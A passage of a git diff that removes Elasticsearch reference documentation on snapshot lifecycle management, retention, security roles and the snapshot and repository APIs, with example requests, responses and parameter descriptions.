-      "details": "{\"type\":\"index_not_found_exception\",\"reason\":\"no such index [important]\",\"resource.type\":\"index_or_alias\",\"resource.id\":\"important\",\"index_uuid\":\"_na_\",\"index\":\"important\",\"stack_trace\":\"[important] IndexNotFoundException[no such index [important]]\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.indexNotFoundException(IndexNameExpressionResolver.java:762)\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.innerResolve(IndexNameExpressionResolver.java:714)\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.resolve(IndexNameExpressionResolver.java:670)\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver.concreteIndices(IndexNameExpressionResolver.java:163)\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver.concreteIndexNames(IndexNameExpressionResolver.java:142)\\n\\tat org.elasticsearch.cluster.metadata.IndexNameExpressionResolver.concreteIndexNames(IndexNameExpressionResolver.java:102)\\n\\tat org.elasticsearch.snapshots.SnapshotsService$1.execute(SnapshotsService.java:280)\\n\\tat org.elasticsearch.cluster.ClusterStateUpdateTask.execute(ClusterStateUpdateTask.java:47)\\n\\tat org.elasticsearch.cluster.service.MasterService.executeTasks(MasterService.java:687)\\n\\tat org.elasticsearch.cluster.service.MasterService.calculateTaskOutputs(MasterService.java:310)\\n\\tat org.elasticsearch.cluster.service.MasterService.runTasks(MasterService.java:210)\\n\\tat org.elasticsearch.cluster.service.MasterService$Batcher.run(MasterService.java:142)\\n\\tat org.elasticsearch.cluster.service.TaskBatcher.runIfNotProcessed(TaskBatcher.java:150)\\n\\tat org.elasticsearch.cluster.service.TaskBatcher$BatchedTask.run(TaskBatcher.java:188)\\n\\tat org.elasticsearch.common.util.concurrent.ThreadContext$ContextPreservingRunnable.run(ThreadContext.java:688)\\n\\tat org.elasticsearch.common.util.concurrent.PrioritizedEsThreadPoolExecutor$TieBreakingPrioritizedRunnable.runAndClean(PrioritizedEsThreadPoolExecutor.java:252)\\n\\tat org.elasticsearch.common.util.concurrent.PrioritizedEsThreadPoolExecutor$TieBreakingPrioritizedRunnable.run(PrioritizedEsThreadPoolExecutor.java:215)\\n\\tat java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)\\n\\tat java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)\\n\\tat java.base/java.lang.Thread.run(Thread.java:834)\\n\"}"
-    } ,
-    "next_execution": "2019-04-24T01:30:00.000Z",                        <4>
-    "next_execution_millis": 1556048160000
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:the presence of last_failure and last_success is asynchronous and will be present for users, but is untestable]
-
-<1> Information about the last time the policy successfully initated a snapshot
-<2> The name of the snapshot that was successfully initiated
-<3> Information about the last time the policy failed to initiate a snapshot
-<4> The next time the policy will execute
diff --git a/docs/reference/slm/index.asciidoc b/docs/reference/slm/index.asciidoc
deleted file mode 100644
index a90489ff758..00000000000
--- a/docs/reference/slm/index.asciidoc
+++ /dev/null
@@ -1,21 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[snapshot-lifecycle-management]]
-== {slm-init}: Manage the snapshot lifecycle
-
-You can set up snapshot lifecycle policies to automate the timing, frequency, and retention of snapshots.
-Snapshot policies can apply to multiple data streams and indices.
-
-The {slm} ({slm-init}) <<snapshot-lifecycle-management-api, CRUD APIs>> provide
-the building blocks for the snapshot policy features that are part of {kib} Management.
-{kibana-ref}/snapshot-repositories.html[Snapshot and Restore] makes it easy to 
-set up policies, register snapshot repositories, view and manage snapshots, and restore data streams or indices.
-
-You can stop and restart {slm-init} to temporarily pause automatic backups while performing
-upgrades or other maintenance.
-
-include::getting-started-slm.asciidoc[]
-
-include::slm-security.asciidoc[]
-
-include::slm-retention.asciidoc[]
diff --git a/docs/reference/slm/slm-retention.asciidoc b/docs/reference/slm/slm-retention.asciidoc
deleted file mode 100644
index 1c2510a874f..00000000000
--- a/docs/reference/slm/slm-retention.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[slm-retention]]
-=== Snapshot retention
-
-You can include a retention policy in an {slm-init} policy to automatically delete old snapshots. 
-Retention runs as a cluster-level task and is not associated with a particular policy's schedule.
-The retention criteria are evaluated as part of the retention task, not when the policy executes.
-For the retention task to automatically delete snapshots, 
-you need to include a <<slm-api-put-retention,`retention`>> object in your {slm-init} policy.
-
-To control when the retention task runs, configure 
-<<slm-retention-schedule,`slm.retention_schedule`>> in the cluster settings.
-You can define the schedule as a periodic or absolute <<schedule-cron, cron schedule>>.
-The <<slm-retention-duration,`slm.retention_duration`>> setting limits how long 
-{slm-init} should spend deleting old snapshots.
-
-You can update the schedule and duration dynamically with the 
-<<cluster-update-settings, update settings>> API.
-You can run the retention task manually with the 
-<<slm-api-execute-retention, execute retention >> API. 
-
-The retention task only considers snapshots initiated through {slm-init} policies,  
-either according to the policy schedule or through the 
-<<slm-api-execute-lifecycle, execute lifecycle>> API. 
-Manual snapshots are ignored and don't count toward the retention limits.
-
-To retrieve information about the snapshot retention task history, 
-use the  <<slm-api-get-stats, get stats>> API:
-
-////
-[source,console]
---------------------------------------------------
-PUT /_slm/policy/daily-snapshots
-{
-  "schedule": "0 30 1 * * ?",
-  "name": "<daily-snap-{now/d}>",
-  "repository": "my_repository",
-  "retention": { <1>
-    "expire_after": "30d", <2>
-    "min_count": 5, <3>
-    "max_count": 50 <4>
-  }
-}
---------------------------------------------------
-// TEST[setup:setup-repository]
-<1> Optional retention configuration
-<2> Keep snapshots for 30 days
-<3> Always keep at least 5 successful snapshots
-<4> Keep no more than 50 successful snapshots
-////
-
-[source,console]
---------------------------------------------------
-GET /_slm/stats
---------------------------------------------------
-// TEST[continued]
-
-The response includes the following statistics:
-
-[source,js]
---------------------------------------------------
-{
-  "retention_runs": 13, <1>
-  "retention_failed": 0, <2>
-  "retention_timed_out": 0, <3>
-  "retention_deletion_time": "1.4s", <4>
-  "retention_deletion_time_millis": 1404,
-  "policy_stats": [
-    {
-      "policy": "daily-snapshots",
-      "snapshots_taken": 1,
-      "snapshots_failed": 1,
-      "snapshots_deleted": 0, <5>
-      "snapshot_deletion_failures": 0 <6>
-    }
-  ],
-  "total_snapshots_taken": 1,
-  "total_snapshots_failed": 1,
-  "total_snapshots_deleted": 0, <7>
-  "total_snapshot_deletion_failures": 0 <8>
-}
---------------------------------------------------
-// TESTRESPONSE[skip:this is not actually running retention]
-<1> Number of times retention has been run
-<2> Number of times retention failed while running
-<3> Number of times retention hit the `slm.retention_duration` time limit and had to stop before deleting all eligible snapshots
-<4> Total time spent deleting snapshots by the retention process
-<5> Number of snapshots created by the "daily-snapshots" policy that have been deleted
-<6> Number of snapshots that failed to be deleted
-<7> Total number of snapshots deleted across all policies
-<8> Total number of snapshot deletion failures across all policies
diff --git a/docs/reference/slm/slm-security.asciidoc b/docs/reference/slm/slm-security.asciidoc
deleted file mode 100644
index b01c76531c1..00000000000
--- a/docs/reference/slm/slm-security.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[[slm-and-security]]
-=== Security and {slm-init}
-
-Two built-in cluster privileges control access to the {slm-init} actions when
-{es} {security-features} are enabled:
-
-`manage_slm`:: Allows a user to perform all {slm-init} actions, including creating and updating policies
-and starting and stopping {slm-init}.
-
-`read_slm`:: Allows a user to perform all read-only {slm-init} actions,
-such as getting policies and checking the {slm-init} status.
-
-`cluster:admin/snapshot/*`:: Allows a user to take and delete snapshots of any
-index, whether or not they have access to that index.
-
-You can create and manage roles to assign these privileges through {kib} Management.
-
-To grant the privileges necessary to create and manage {slm-init} policies and snapshots,
-you can set up a role with the `manage_slm` and `cluster:admin/snapshot/*` cluster privileges
-and full access to the {slm-init} history indices. 
-
-For example, the following request creates an `slm-admin` role:
-
-[source,console]
------------------------------------
-POST /_security/role/slm-admin
-{
-  "cluster": ["manage_slm", "cluster:admin/snapshot/*"],
-  "indices": [
-    {
-      "names": [".slm-history-*"],
-      "privileges": ["all"]
-    }
-  ]
-}
------------------------------------
-// TEST[skip:security is not enabled here]
-
-To grant read-only access to {slm-init} policies and the snapshot history, 
-you can set up a role with the `read_slm` cluster privilege and read access
-to the {slm} history indices. 
-
-For example, the following request creates a `slm-read-only` role:
-
-[source,console]
------------------------------------
-POST /_security/role/slm-read-only
-{
-  "cluster": ["read_slm"],
-  "indices": [
-    {
-      "names": [".slm-history-*"],
-      "privileges": ["read"]
-    }
-  ]
-}
------------------------------------
-// TEST[skip:security is not enabled here]
\ No newline at end of file
diff --git a/docs/reference/snapshot-restore/apis/clean-up-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/clean-up-repo-api.asciidoc
deleted file mode 100644
index 4c0184945fa..00000000000
--- a/docs/reference/snapshot-restore/apis/clean-up-repo-api.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[[clean-up-snapshot-repo-api]]
-=== Clean up snapshot repository API
-++++
-<titleabbrev>Clean up snapshot repository</titleabbrev>
-++++
-
-Triggers the review of a snapshot repository's contents and deletes any stale
-data that is not referenced by existing snapshots.
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-// TESTSETUP
-////
-
-[source,console]
-----
-POST /_snapshot/my_repository/_cleanup
-----
-
-[[clean-up-snapshot-repo-api-request]]
-==== {api-request-title}
-
-`POST /_snapshot/<repository>/_cleanup`
-
-[[clean-up-snapshot-repo-api-desc]]
-==== {api-description-title}
-
-Over time, snapshot repositories can accumulate stale data that is no longer
-referenced by existing snapshots.
-
-While this unreferenced data does not negatively impact the performance or
-safety of a snapshot repository, it can lead to more storage use than necessary.
-
-You can use the clean up snapshot repository API to detect and delete this
-unreferenced data.
-
-[TIP]
-====
-Most cleanup operations performed by this API are performed automatically when
-a snapshot is deleted from a repository.
-
-If you regularly delete snapshots, calling this API may only reduce your storage
-slightly or not at all.
-====
-
-[[clean-up-snapshot-repo-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the snapshot repository to review and clean up.
-
-[[clean-up-snapshot-repo-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[role="child_attributes"]
-[[clean-up-snapshot-repo-api-response-body]]
-==== {api-response-body-title}
-
-`results`::
-(object)
-Contains statistics for cleanup operations.
-+
-.Properties of `results`
-[%collapsible%open]
-====
-`deleted_bytes`::
-(integer)
-Number of bytes freed by cleanup operations.
-
-`deleted_blobs`::
-(integer)
-Number of binary large objects (blobs) removed from the snapshot repository
-during cleanup operations. Any non-zero value implies that unreferenced blobs
-were found and subsequently cleaned up.
-====
-
-[[clean-up-snapshot-repo-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-POST /_snapshot/my_repository/_cleanup
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "results": {
-    "deleted_bytes": 20,
-    "deleted_blobs": 5
-  }
-}
-----
-// TEST[s/"deleted_bytes": 20/"deleted_bytes": 0/]
-// TEST[s/"deleted_blobs": 5/"deleted_blobs": 0/]
-
-////
-[source,console]
-----
-DELETE /_snapshot/my_repository
-----
-////
\ No newline at end of file
diff --git a/docs/reference/snapshot-restore/apis/clone-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/clone-snapshot-api.asciidoc
deleted file mode 100644
index 416466910aa..00000000000
--- a/docs/reference/snapshot-restore/apis/clone-snapshot-api.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[[clone-snapshot-api]]
-=== Clone snapshot API
-++++
-<titleabbrev>Clone snapshot</titleabbrev>
-++++
-
-Clones part or all of a snapshot into a new snapshot.
-
-[source,console]
-----
-PUT /_snapshot/my_repository/source_snapshot/_clone/target_snapshot
-{
-  "indices": "index_a,index_b"
-}
-----
-// TEST[skip:TODO]
-
-[[clone-snapshot-api-request]]
-==== {api-request-title}
-
-`PUT /_snapshot/<repository>/<source_snapshot>/_clone/<target_snapshot>`
-
-[[clone-snapshot-api-desc]]
-==== {api-description-title}
-
-The clone snapshot API allows creating a copy of all or part of an existing snapshot
-within the same repository.
-
-[[clone-snapshot-api-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the snapshot repository that both source and target snapshot belong to.
-
-[[clone-snapshot-api-query-params]]
-==== {api-query-parms-title}
-
-`master_timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a response. If no response is received before the timeout expires, the request
-fails and returns an error. Defaults to `30s`.
-
-`indices`::
-(Required, string)
-A comma-separated list of indices to include in the snapshot.
-<<multi-index,Multi-index syntax>> is supported.
\ No newline at end of file
diff --git a/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc
deleted file mode 100644
index 8a4971a5c50..00000000000
--- a/docs/reference/snapshot-restore/apis/create-snapshot-api.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
-[[create-snapshot-api]]
-=== Create snapshot API
-++++
-<titleabbrev>Create snapshot</titleabbrev>
-++++
-
-Takes a <<snapshot-restore,snapshot>> of a cluster or specified data streams and
-indices.
-
-////
-[source,console]
------------------------------------
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
------------------------------------
-// TESTSETUP
-////
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_repository/my_snapshot
------------------------------------
-// TEST[s/my_snapshot/my_snapshot?wait_for_completion=true/]
-
-[[create-snapshot-api-request]]
-==== {api-request-title}
-
-`PUT /_snapshot/<repository>/<snapshot>`
-
-`POST /_snapshot/<repository>/<snapshot>`
-
-[[create-snapshot-api-desc]]
-==== {api-description-title}
-
-You can use the create snapshot API to create a <<snapshot-restore,snapshot>>, which is a
-backup taken from a running {es} cluster.
-
-By default, a snapshot includes all data streams and open indices in the
-cluster, as well as the cluster state.  You can change this behavior by
-specifying a list of data streams and indices to back up in the body of the
-snapshot request.
-
-NOTE: You must register a snapshot repository before performing snapshot and restore operations. Use the <<put-snapshot-repo-api,put snapshot repository API>> to register new repositories and update existing ones.
-
-The snapshot process is incremental. When creating a snapshot, {es} analyzes the list of files that are already stored in the repository and copies only files that were created or changed since the last snapshot. This process allows multiple snapshots to be preserved in the repository in a compact form.
-
-The snapshot process is executed in non-blocking fashion, so all indexing and searching operations can run concurrently against the data stream or index that {es} is snapshotting.
-
-A snapshot represents a point-in-time view of the moment when the snapshot was created. No records that were added to a data stream or index after the snapshot process started will be present in the snapshot.
-
-For primary shards that have not been started and are not currently relocating, the snapshot process starts immediately. If shards are in the process of starting or relocating, {es} waits for these processes to complete before taking a snapshot.
-
-IMPORTANT: While a snapshot of a particular shard is being created, this shard cannot be moved to another node. Relocating a shard during the snapshot process can interfere with rebalancing and allocation filtering. {es} can move a shard to another node (according to the current allocation filtering settings and rebalancing algorithm) only after the snapshot process completes.
-
-Besides creating a copy of each data stream and index, the snapshot process can also store global cluster metadata, including persistent cluster settings and templates. The transient settings and registered snapshot repositories are not stored as part of the snapshot.
-
-[[create-snapshot-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the repository to create a snapshot in.
-
-`<snapshot>`::
-(Required, string)
-Name of the snapshot to create. This name must be unique in the snapshot repository.
-
-[role="child_attributes"]
-[[create-snapshot-api-request-body]]
-==== {api-request-body-title}
-
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, the request returns an error for any data stream or index that is missing or closed. Defaults to `false`.
-+
-If `true`, the request ignores data streams and indices in `indices` that are missing or closed.
-
-`indices`::
-(Optional, string)
-A comma-separated list of data streams and indices to include in the snapshot.
-<<multi-index,Multi-index syntax>> is supported.
-+
-By default, a snapshot includes all data streams and indices in the cluster. If this
-argument is provided, the snapshot only includes the specified data streams and clusters.
-
-`include_global_state`::
-+
---
-(Optional, Boolean)
-If `true`, the current cluster state is included in the snapshot.
-Defaults to `true`.
-
-The cluster state includes:
-
-* Persistent cluster settings
-* Index templates
-* Legacy index templates
-* Ingest pipelines
-* {ilm-init} lifecycle policies
---
-+
-IMPORTANT: By default, the entire snapshot will fail if one or more indices included in the snapshot do not have all primary shards available. You can change this behavior by setting <<create-snapshot-api-partial,`partial`>> to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-`metadata`::
-(Optional, string)
-Attaches arbitrary metadata to the snapshot, such as a record of who took the snapshot, why it was taken, or any other useful data. Metadata must be less than 1024 bytes.
-
-[[create-snapshot-api-partial]]
-`partial`::
-(Optional, Boolean)
-If `false`, the entire snapshot will fail if one or more indices included in the snapshot do not have all primary shards available. Defaults to `false`.
-+
-If `true`, allows taking a partial snapshot of indices with unavailable shards.
-
-`wait_for_completion`::
-(Optional, Boolean)
-If `true`, the request returns a response when the snapshot is complete.
-If `false`, the request returns a response when the snapshot initializes.
-Defaults to `false`.
-
-[[create-snapshot-api-example]]
-==== {api-examples-title}
-
-The following request takes a snapshot of `index_1` and `index_2`.
-
-[source,console]
------------------------------------
-PUT /_snapshot/my_repository/snapshot_2?wait_for_completion=true
-{
-  "indices": "index_1,index_2",
-  "ignore_unavailable": true,
-  "include_global_state": false,
-  "metadata": {
-    "taken_by": "user123",
-    "taken_because": "backup before upgrading"
-  }
-}
------------------------------------
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "snapshot": {
-    "snapshot": "snapshot_2",
-    "uuid": "vdRctLCxSketdKb54xw67g",
-    "version_id": <version_id>,
-    "version": <version>,
-    "indices": [],
-    "data_streams": [],
-    "include_global_state": false,
-    "metadata": {
-      "taken_by": "user123",
-      "taken_because": "backup before upgrading"
-    },
-    "state": "SUCCESS",
-    "start_time": "2020-06-25T14:00:28.850Z",
-    "start_time_in_millis": 1593093628850,
-    "end_time": "2020-06-25T14:00:28.850Z",
-    "end_time_in_millis": 1593094752018,
-    "duration_in_millis": 0,
-    "failures": [],
-    "shards": {
-      "total": 0,
-      "failed": 0,
-      "successful": 0
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"uuid": "vdRctLCxSketdKb54xw67g"/"uuid": $body.snapshot.uuid/]
-// TESTRESPONSE[s/"version_id": <version_id>/"version_id": $body.snapshot.version_id/]
-// TESTRESPONSE[s/"version": <version>/"version": $body.snapshot.version/]
-// TESTRESPONSE[s/"start_time": "2020-06-25T14:00:28.850Z"/"start_time": $body.snapshot.start_time/]
-// TESTRESPONSE[s/"start_time_in_millis": 1593093628850/"start_time_in_millis": $body.snapshot.start_time_in_millis/]
-// TESTRESPONSE[s/"end_time": "2020-06-25T14:00:28.850Z"/"end_time": $body.snapshot.end_time/]
-// TESTRESPONSE[s/"end_time_in_millis": 1593094752018/"end_time_in_millis": $body.snapshot.end_time_in_millis/]
-// TESTRESPONSE[s/"duration_in_millis": 0/"duration_in_millis": $body.snapshot.duration_in_millis/]
diff --git a/docs/reference/snapshot-restore/apis/delete-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/delete-repo-api.asciidoc
deleted file mode 100644
index 5b518db7e82..00000000000
--- a/docs/reference/snapshot-restore/apis/delete-repo-api.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[delete-snapshot-repo-api]]
-=== Delete snapshot repository API
-++++
-<titleabbrev>Delete snapshot repository</titleabbrev>
-++++
-
-Unregisters one or more <<snapshots-register-repository,snapshot repositories>>.
-
-When a repository is unregistered, {es} only removes the reference to the
-location where the repository is storing the snapshots. The snapshots themselves
-are left untouched and in place.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-----
-////
-
-[source,console]
-----
-DELETE /_snapshot/my_repository
-----
-// TEST[continued]
-
-[[delete-snapshot-repo-api-request]]
-==== {api-request-title}
-
-`DELETE /_snapshot/<repository>`
-
-[[delete-snapshot-repo-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the snapshot repository to unregister. Wildcard (`*`) patterns are
-supported.
-
-[[delete-snapshot-repo-api-query-params]]
-==== {api-query-parms-title}
-
-`master_timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-`timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a response. If no response is received before the timeout expires, the request
-fails and returns an error. Defaults to `30s`.
diff --git a/docs/reference/snapshot-restore/apis/delete-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/delete-snapshot-api.asciidoc
deleted file mode 100644
index bac76f7c82f..00000000000
--- a/docs/reference/snapshot-restore/apis/delete-snapshot-api.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
-[[delete-snapshot-api]]
-=== Delete snapshot API
-++++
-<titleabbrev>Delete snapshot</titleabbrev>
-++++
-
-Deletes a <<snapshot-restore,snapshot>>.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true
-
-PUT /_snapshot/my_repository/snapshot_2?wait_for_completion=true
-
-PUT /_snapshot/my_repository/snapshot_3?wait_for_completion=true
-----
-// TESTSETUP
-////
-
-[source,console]
------------------------------------
-DELETE /_snapshot/my_repository/my_snapshot
------------------------------------
-
-[[delete-snapshot-api-request]]
-==== {api-request-title}
-
-`DELETE /_snapshot/<repository>/<snapshot>`
-
-[[delete-snapshot-api-desc]]
-==== {api-description-title}
-
-Use the delete snapshot API to delete a <<snapshot-restore,snapshot>>, which is a backup taken from a running {es} cluster.
-
-When deleting a snapshot from a repository, {es} deletes all files that are associated with the snapshot and not used by any other snapshots. All files that are shared with at least one other existing snapshot are left intact.
-
-If you attempt to delete a snapshot while it is being created, the snapshot process aborts and all associated will be deleted.
-
-To delete multiple snapshots in a single request, separate the snapshot names with a comma or use a wildcard (`*`).
-
-TIP: Use the delete snapshot API to cancel long-running snapshot operations that were started by mistake.
-
-[[delete-snapshot-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Name of the repository to delete a snapshot from.
-
-`<snapshot>`::
-(Required, string)
-Comma-separated list of snapshot names to delete. Also accepts wildcards (`*`).
-
-[[delete-snapshot-api-example]]
-==== {api-example-title}
-
-The following request deletes `snapshot_2` and `snapshot_3` from the repository named `my_repository`.
-
-[source,console]
-----
-DELETE /_snapshot/my_repository/snapshot_2,snapshot_3
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc b/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc
deleted file mode 100644
index 3ea15aa8793..00000000000
--- a/docs/reference/snapshot-restore/apis/get-repo-api.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
-[[get-snapshot-repo-api]]
-=== Get snapshot repository API
-++++
-<titleabbrev>Get snapshot repository</titleabbrev>
-++++
-
-Gets information about one or more registered
-<<snapshots-register-repository,snapshot repositories>>.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-GET /_snapshot/my_repository
-----
-
-[[get-snapshot-repo-api-request]]
-==== {api-request-title}
-
-`GET /_snapshot/<repository>`
-
-`GET /_snapshot`
-
-[[get-snapshot-repo-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Comma-separated list of snapshot repository names used to limit the request.
-Wildcard (`*`) expressions are supported.
-+
-To get information about all snapshot repositories registered in the
-cluster, omit this parameter or use `*` or `_all`.
-
-[[get-snapshot-repo-api-query-params]]
-==== {api-query-parms-title}
-
-`local`::
-(Optional, Boolean) If `true`, the request gets information from the local node
-only. If `false`, the request gets information from the master node. Defaults to
-`false`.
-
-`master_timeout`::
-(Optional, <<time-units, time units>>) Specifies the period of time to wait for
-a connection to the master node. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-
-[role="child_attributes"]
-[[get-snapshot-repo-api-response-body]]
-==== {api-response-body-title}
-
-`<repository>`::
-(object)
-Contains information about the snapshot repository. Key is the name of the
-snapshot repository.
-+
-.Properties of `<repository>`
-[%collapsible%open]
-====
-`type`::
-+
---
-(string)
-Repository type.
-
-.Values for `type`
-[%collapsible%open]
-=====
-`fs`::
-Shared file system repository. See <<snapshots-filesystem-repository>>.
-
-[xpack]#`source`#::
-Source-only repository. See <<snapshots-source-only-repository>>.
-
-`url`::
-URL repository. See <<snapshots-read-only-repository>>.
-=====
-
-More repository types are available through these official plugins:
-
-* {plugins}/repository-s3.html[repository-s3] for S3 repository support
-* {plugins}/repository-hdfs.html[repository-hdfs] for HDFS repository support in
-  Hadoop environments
-* {plugins}/repository-azure.html[repository-azure] for Azure storage
-  repositories
-* {plugins}/repository-gcs.html[repository-gcs] for Google Cloud Storage
-  repositories
---
-
-`settings`::
-(object)
-Contains settings for the repository. Valid properties for the `settings` object
-depend on the repository type, set using the
-<<put-snapshot-repo-api-request-type,`type`>> parameter.
-+
-For properties, see the <<put-snapshot-repo-api,put snapshot repository API>>'s
-<<put-snapshot-repo-api-settings-param,`settings` parameter>>.
-====
-
-[[get-snapshot-repo-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-GET /_snapshot/my_repository
-----
-
-The API returns the following response:
-
-[source,console-result]
-----
-{
-  "my_repository" : {
-    "type" : "fs",
-    "settings" : {
-      "location" : "my_backup_location"
-    }
-  }
-}
-----
diff --git a/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc b/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc
deleted file mode 100644
index f15dc4107a8..00000000000
--- a/docs/reference/snapshot-restore/apis/get-snapshot-api.asciidoc
+++ /dev/null
@@ -1,234 +0,0 @@
-[[get-snapshot-api]]
-=== Get snapshot API
-++++
-<titleabbrev>Get snapshot</titleabbrev>
-++++
-
-Retrieves information about one or more snapshots.
-
-////
-[source,console]
-----
-PUT /_snapshot/my_repository
-{
-  "type": "fs",
-  "settings": {
-    "location": "my_backup_location"
-  }
-}
-
-PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true
-
-PUT /_snapshot/my_repository/snapshot_2?wait_for_completion=true
-----
-// TESTSETUP
-////
-
-[source,console]
-----
-GET /_snapshot/my_repository/my_snapshot
-----
-
-[[get-snapshot-api-request]]
-==== {api-request-title}
-
-`GET /_snapshot/<repository>/<snapshot>`
-
-[[get-snapshot-api-desc]]
-==== {api-description-title}
-
-Use the get snapshot API to return information about one or more snapshots, including:
-
-* Start and end time values
-* Version of {es} that created the snapshot
-* List of included indices
-* Current state of the snapshot
-* List of failures that occurred during the snapshot
-
-[[get-snapshot-api-path-params]]
-==== {api-path-parms-title}
-
-`<repository>`::
-(Required, string)
-Snapshot repository name used to limit the request.
-+
-To get information about all snapshot repositories registered in the
-cluster, omit this parameter or use `*` or `_all`.
-
-`<snapshot>`::
-(Required, string)
-Comma-separated list of snapshot names to retrieve. Also accepts wildcards (`*`).
-+
-* To get information about all snapshots in a registered repository, use a wildcard (`*`) or `_all`.
-* To get information about any snapshots that are currently running, use `_current`.
-+
-NOTE: Using `_all` in a request fails if any snapshots are unavailable.
-Set <<get-snapshot-api-ignore-unavailable,`ignore_unavailable`>> to `true` to return only available snapshots.
-
-[role="child_attributes"]
-[[get-snapshot-api-request-body]]
-==== {api-request-body-title}
-
-[[get-snapshot-api-ignore-unavailable]]
-`ignore_unavailable`::
-(Optional, Boolean)
-If `false`, the request returns an error for any snapshots that are unavailable. Defaults to `false`.
-+
-If `true`, the request ignores snapshots that are unavailable, such as those that are corrupted or temporarily cannot be returned.
-
-`verbose`::
-(Optional, Boolean)
-If `true`, returns all available information about a snapshot. Defaults to `true`.
-+
-If `false`, omits additional information about the snapshot, such as version information, start and end times, and the number of snapshotted shards.
-
-[role="child_attributes"]
-[[get-snapshot-api-response-body]]
-==== {api-response-body-title}
-
-`snapshot`::
-(string)
-Name of the snapshot.
-
-`uuid`::
-(string)
-Universally unique identifier (UUID) of the snapshot.
-
-`version_id`::
-(int)
-Build ID of the {es} version used to create the snapshot.
-
-`version`::
-(float)
-{es} version used to create the snapshot.
-
-`indices`::
-(array)
-List of indices included in the snapshot.
-
-`data_streams`::
-(array)
-List of <<data-streams,data streams>> included in the snapshot.
-
-`include_global_state`::
-(Boolean)
-Indicates whether the current cluster state is included in the snapshot.
-
-`start_time`::
-(string)
-Date timestamp of when the snapshot creation process started.
-
-`start_time_in_millis`::
-(long)
-The time, in milliseconds, when the snapshot creation process started.
-
-`end_time`::
-(string)
-Date timestamp of when the snapshot creation process ended.
-
-`end_time_in_millis`::
-(long)
-The time, in milliseconds, when the snapshot creation process ended.
-
-`duration_in_millis`::
-(long)
-How long, in milliseconds, it took to create the snapshot.
-
-[[get-snapshot-api-response-failures]]
-`failures`::
-(array)
-Lists any failures that occurred when creating the snapshot.
-
-`shards`::
-(object)
-Contains a count of shards in the snapshot.
-+
-.Properties of `shards`
-[%collapsible%open]
-====
-`total`::
-(integer)
-Total number of shards included in the snapshot.
-
-`successful`::
-(integer)
-Number of shards that were successfully included in the snapshot.
-
